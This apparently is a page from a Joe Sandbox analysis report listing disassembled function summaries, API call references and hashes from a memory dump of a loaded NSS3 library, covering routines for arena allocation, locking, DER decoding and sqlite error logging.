Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 6f9c7d3db4b7e1548375ee8dff6989eb2ccbdd5c02913b1ed305e415eaefbc9c
Instruction ID: a7edf2c65d4cf2b24507747dc53947334e578f2b0197d0a0bf5a532618b98da8
Opcode Fuzzy Hash: 6f9c7d3db4b7e1548375ee8dff6989eb2ccbdd5c02913b1ed305e415eaefbc9c
Instruction Fuzzy Hash: 8A213672905200ABEB108F199C41B9A7BF4AFCA328F144315ED189B6D1F731D51887A6

Function 6CD6EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD6EE85
realloc.MOZGLUE(8C147316,?), ref: 6CD6EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CD6EEC5

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

htonl.WSOCK32(?), ref: 6CD6EEE3
htonl.WSOCK32(00000000,?), ref: 6CD6EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CD6EF01

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: ceeadacc97a9b3e8faff879765b63d9988ca03af5c2f883b1456406c128106d1
Instruction ID: f5f62dbe0c67e03bc2ccc6d72d11f76cff0b16f28dbd606e4c937571b8f1d476
Opcode Fuzzy Hash: ceeadacc97a9b3e8faff879765b63d9988ca03af5c2f883b1456406c128106d1
Instruction Fuzzy Hash: 2E21E571A002249FCB109F29DC8079A77A4EF45358F158129ED199FE62E330EC15CBE6

Function 6CD35ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CD35D71), ref: 6CD35F0A
TlsGetValue.KERNEL32 ref: 6CD35F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CD35F2F
PR_Unlock.NSS3(890008E8), ref: 6CD35F55
PR_SetError.NSS3(00000000,00000000), ref: 6CD35F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CD35F7D

Part of subcall function 6CD35220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CD35F82,8B4274C0), ref: 6CD35248
Part of subcall function 6CD35220: EnterCriticalSection.KERNEL32(0F6CE00D,?,6CD35F82,8B4274C0), ref: 6CD3525C
Part of subcall function 6CD35220: PR_SetError.NSS3(00000000,00000000), ref: 6CD3528E
Part of subcall function 6CD35220: PR_Unlock.NSS3(0F6CDFF1), ref: 6CD35299
Part of subcall function 6CD35220: free.MOZGLUE(00000000), ref: 6CD352A9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 65c95669b64973f3ac7985c7d7c3814eec63275819d4651af3f33a618f33e2e4
Instruction ID: 5e17f821ead56039a686d3929d6fba7d10ae24f476e9db52d1971d089028877c
Opcode Fuzzy Hash: 65c95669b64973f3ac7985c7d7c3814eec63275819d4651af3f33a618f33e2e4
Instruction Fuzzy Hash: 1621D6B5D002149BDB10AF68DC41AEEB7F4EF49318F544129D909A7750F731E958CBA1

Function 6CCE7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCE7F68

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CCE7F7B

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCE7FA7

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CE0919C,?), ref: 6CCE7FBB

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCE7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CE0915C,00000014), ref: 6CCE7FFE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: d0ca6fe3218458a6a195bd39e2d1bfb8a252d6213f87570deb35d89dafa461e3
Instruction ID: bfb8c0a76cc9a87cb52db6ae5c441de70e6c42dbbee2862714a6de8a102e2905
Opcode Fuzzy Hash: d0ca6fe3218458a6a195bd39e2d1bfb8a252d6213f87570deb35d89dafa461e3
Instruction Fuzzy Hash: 35112771E0020466E6109B259D40BBB76E8DF4A69CF100629ED59C2A82F720A548C3F6

Function 6CCEBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CD6DC29,?), ref: 6CCEBE64

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CD6DC29,?), ref: 6CCEBE78

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CD6DC29,?), ref: 6CCEBE96

Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CD6DC29,?), ref: 6CCEBEBB

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CD6DC29,?), ref: 6CCEBEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CD6DC29,?), ref: 6CCEBEF3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 8236d9745abfc2822a13b6178353d0a2ac0361540db688a21fffcb3e10a7d155
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: C011B771E002155BEB008B659D52FBB3BA8EF46259F144028EE08EB790FB31D919C7B5

Function 6CD73C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CD75B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD75B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD73D3F

Part of subcall function 6CCEBA90: PORT_NewArena_Util.NSS3(00000800,6CD73CAF,?), ref: 6CCEBABF
Part of subcall function 6CCEBA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CD73CAF,?), ref: 6CCEBAD5
Part of subcall function 6CCEBA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CD73CAF,?), ref: 6CCEBB08
Part of subcall function 6CCEBA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CD73CAF,?), ref: 6CCEBB1A
Part of subcall function 6CCEBA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CD73CAF,?), ref: 6CCEBB3B

PR_EnterMonitor.NSS3(?), ref: 6CD73CCB

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

PR_EnterMonitor.NSS3(?), ref: 6CD73CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CD73CF8
PR_ExitMonitor.NSS3(?), ref: 6CD73D15
PR_ExitMonitor.NSS3(?), ref: 6CD73D2E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: d3ee7b3c042f5ffee7cf7305b22fcbd84ddcf096dee85597297ddc379c0c12f6
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 731104B5A10600AFE7305BA5FC81B9BB7E4AB51248F504538E80A87B30E732E819C676

Function 6CD3FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CD3FE08

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CD3FE1D

Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CD3FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CD3FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CD3FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CD3FE6F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 8821ca6d03eb88ab3c091045dea52440909659cd890915c37ff76714f9393ea4
Instruction ID: b81b04406558a05bb71e6b75af128ce217c706e2468982fa2a0947525ecc3368
Opcode Fuzzy Hash: 8821ca6d03eb88ab3c091045dea52440909659cd890915c37ff76714f9393ea4
Instruction Fuzzy Hash: 32110CB6600219ABEB004F54DC40A5B7398AF55299F148074E95DA7BB2E731E914CBA1

Function 6CDEFD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CDEFD9E

Part of subcall function 6CDA9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CCD1A48), ref: 6CDA9BB3
Part of subcall function 6CDA9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CCD1A48), ref: 6CDA9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CDEFDB9

Part of subcall function 6CCCA900: TlsGetValue.KERNEL32(00000000,?,6CE414E4,?,6CC64DD9), ref: 6CCCA90F
Part of subcall function 6CCCA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CCCA94F

PR_Unlock.NSS3 ref: 6CDEFDD4
PR_Lock.NSS3 ref: 6CDEFDF2
PR_NotifyAllCondVar.NSS3 ref: 6CDEFE0D
PR_Unlock.NSS3 ref: 6CDEFE23

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: fec6acec231e2b2e32526fac0d35e61cb06ebbe7d47805a05ebfab33327671f0
Instruction ID: 2ba9fccb1fd94fdc4f7d0d8b52d6b5fec65f32eaf51605e6f9146a56ed79a74d
Opcode Fuzzy Hash: fec6acec231e2b2e32526fac0d35e61cb06ebbe7d47805a05ebfab33327671f0
Instruction Fuzzy Hash: 840161F6A04641AFDF049F55FC008557A31FB0626C7158375E82A47BF1E722ED3AC692

Function 6CCCAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCCAFDA

Strings

%s at line %d of [%.10s], xrefs: 6CCCAFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6CCCAF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCCAFC4
misuse, xrefs: 6CCCAFCE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: befe89262a96241232784bddc832727eb25ad6edbb07764050da1aa710e6ad74
Instruction ID: 1d08619b5152ab2dc739cc8067fa44c98a62d38f6bf666cc85a4ae7f34eabecc
Opcode Fuzzy Hash: befe89262a96241232784bddc832727eb25ad6edbb07764050da1aa710e6ad74
Instruction Fuzzy Hash: E191F4B5B042158FDB04CF59C858BAAB7F1BF85314F19419CE865AB751E334EC02CBA1

Function 6CD2FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CD2FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CD2FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CD2FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CD2FDDE

Part of subcall function 6CD38800: TlsGetValue.KERNEL32(?,6CD4085A,00000000,?,6CCE8369,?), ref: 6CD38821
Part of subcall function 6CD38800: TlsGetValue.KERNEL32(?,?,6CD4085A,00000000,?,6CCE8369,?), ref: 6CD3883D
Part of subcall function 6CD38800: EnterCriticalSection.KERNEL32(?,?,?,6CD4085A,00000000,?,6CCE8369,?), ref: 6CD38856
Part of subcall function 6CD38800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CD38887
Part of subcall function 6CD38800: PR_Unlock.NSS3(?,?,?,?,6CD4085A,00000000,?,6CCE8369,?), ref: 6CD38899

Strings

pkcs11:, xrefs: 6CD2FC4F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 087e64cc41ed3e3c15c31839d24be4362abe5467eef575b7c534d975ced98e99
Instruction ID: e32cb98a6b696a0c906a13b65cca31e5ed10a28ad6eef2ddb14717bf43355ca5
Opcode Fuzzy Hash: 087e64cc41ed3e3c15c31839d24be4362abe5467eef575b7c534d975ced98e99
Instruction Fuzzy Hash: 5351D4B2A00231DBDB009F65DC80B5A7375EF4135CF190925DE489BB71EB39E905CBA2

Function 6CC6BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CC6BE02

Part of subcall function 6CD99C40: memcmp.VCRUNTIME140(?,00000000,6CC6C52B), ref: 6CD99D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC6BE9F

Strings

%s at line %d of [%.10s], xrefs: 6CC6BE98
database corruption, xrefs: 6CC6BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC6BE89

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 037f419ccee6a44ea34a2921280eb9f5ef709bacf244adb1f317cde5cacb6c89
Instruction ID: 0242bf2fa76fdfdd55aebd8472f85fd6b10c2dddb3fd7e8b6118f503865839c1
Opcode Fuzzy Hash: 037f419ccee6a44ea34a2921280eb9f5ef709bacf244adb1f317cde5cacb6c89
Instruction Fuzzy Hash: 6E313431A086598BC300CF2BC9E0AABBBB1AF41314B188554FA581BE81E334EC04D7D0

Function 6CCD0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CCD0BDE), ref: 6CCD0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CCD0BDE), ref: 6CCD0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CCD0BDE), ref: 6CCD0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CCD0BDE), ref: 6CCD0E32

Strings

%s incr => %d (find lib), xrefs: 6CCD0E2D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
